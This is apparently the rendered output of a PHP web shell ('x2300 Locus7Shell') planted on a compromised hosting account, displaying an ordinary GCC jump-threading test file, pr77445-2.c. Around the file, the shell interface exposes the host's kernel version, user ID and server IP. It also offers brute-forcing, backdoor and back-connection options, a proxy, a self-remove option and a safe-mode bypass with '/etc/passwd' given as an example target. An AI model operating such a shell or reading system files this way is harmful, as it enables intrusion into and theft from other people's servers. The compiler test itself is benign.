Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/tree-ssa/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     pr77445-2.c (2.94 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do compile } */
/* { dg-options "-O2 -fdisable-tree-evrp -fdump-tree-thread-details-blocks-stats -fdump-tree-threadfull1-blocks-stats -fdump-tree-threadfull2-blocks-stats" } */
typedef enum STATES {
    START=0,
    INVALID,
    S1,
    S2,
    INT,
    FLOAT ,
    EXPONENT,
    SCIENTIFIC,
    NUM_STATES
} state_e ;

typedef unsigned char u8;
typedef unsigned int  u32;

static u8 is_digit(u8 c) {
    return (u8)((c>='0') & (c<='9')) ? 1 : 0;
}

enum STATES FMS( u8 **in , u32 *transitions) {
    u8 *str = *in;
    u8 NEXT_SYMBOL;
    enum STATES state=START;
    for( ; *str && state != INVALID; str++ ) {
        NEXT_SYMBOL = *str;
        if (NEXT_SYMBOL==',') /* end of this input */ {
            transitions[state]++;
            str++;
            break;
        }
        switch(state) {
        case START:
            if(is_digit(NEXT_SYMBOL)) {
                state = INT;
            }
            else if( NEXT_SYMBOL == '+' || NEXT_SYMBOL == '-' ) {
                state = S1;
            }
            else if( NEXT_SYMBOL == '.' ) {
                state = FLOAT ;
            }
            else {
                state = INVALID;
            }
            transitions[START]++;
            break;
        case S1:
            if(is_digit(NEXT_SYMBOL)) {
                state = INT;
                transitions[S1]++;
            }
            else if( NEXT_SYMBOL == '.' ) {
                state = FLOAT ;
                transitions[S1]++;
            }
            else {
                state = INVALID;
                transitions[S1]++;
            }
            break;
        case INT:
            if( NEXT_SYMBOL == '.' ) {
                state = FLOAT ;
                transitions[INT]++;
            }
            else if(!is_digit(NEXT_SYMBOL)) {
                state = INVALID;
                transitions[INT]++;
            }
            break;
        case FLOAT :
            if( NEXT_SYMBOL == 'E' || NEXT_SYMBOL == 'e' ) {
                state = S2;
                transitions[FLOAT ]++;
            }
            else if(!is_digit(NEXT_SYMBOL)) {
                state = INVALID;
                transitions[FLOAT ]++;
            }
            break;
        case S2:
            if( NEXT_SYMBOL == '+' || NEXT_SYMBOL == '-' ) {
                state = EXPONENT;
                transitions[S2]++;
            }
            else {
                state = INVALID;
                transitions[S2]++;
            }
            break;
        case EXPONENT:
            if(is_digit(NEXT_SYMBOL)) {
                state = SCIENTIFIC;
                transitions[EXPONENT]++;
            }
            else {
                state = INVALID;
                transitions[EXPONENT]++;
            }
            break;
        case SCIENTIFIC:
            if(!is_digit(NEXT_SYMBOL)) {
                state = INVALID;
            }
            break;
        default:
            break;
        }
    }
    if (state==INVALID)
        transitions[INVALID]++;
    
    *in = str;
    return state;
}

/* The profile is not updated perfectly because it is inconsitent from
   profile estimation stage. But the number of inconsistencies should not
   increase much. 

   aarch64 has the highest CASE_VALUES_THRESHOLD in GCC.  It's high enough
   to change decisions in switch expansion which in turn can expose new
   jump threading opportunities.  Skip the later tests on aarch64.  */
/* { dg-final { scan-tree-dump "Jumps threaded: \[7-9\]" "thread1" } } */
/* { dg-final { scan-tree-dump-not "optimizing for size" "thread1" } } */
/* { dg-final { scan-tree-dump-not "optimizing for size" "threadfull1" } } */
/* { dg-final { scan-tree-dump-not "optimizing for size" "thread2" { target { ! aarch64*-*-* } } } } */
/* { dg-final { scan-tree-dump-not "optimizing for size" "threadfull2" { target { ! aarch64*-*-* } } } } */ 

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0061 ]--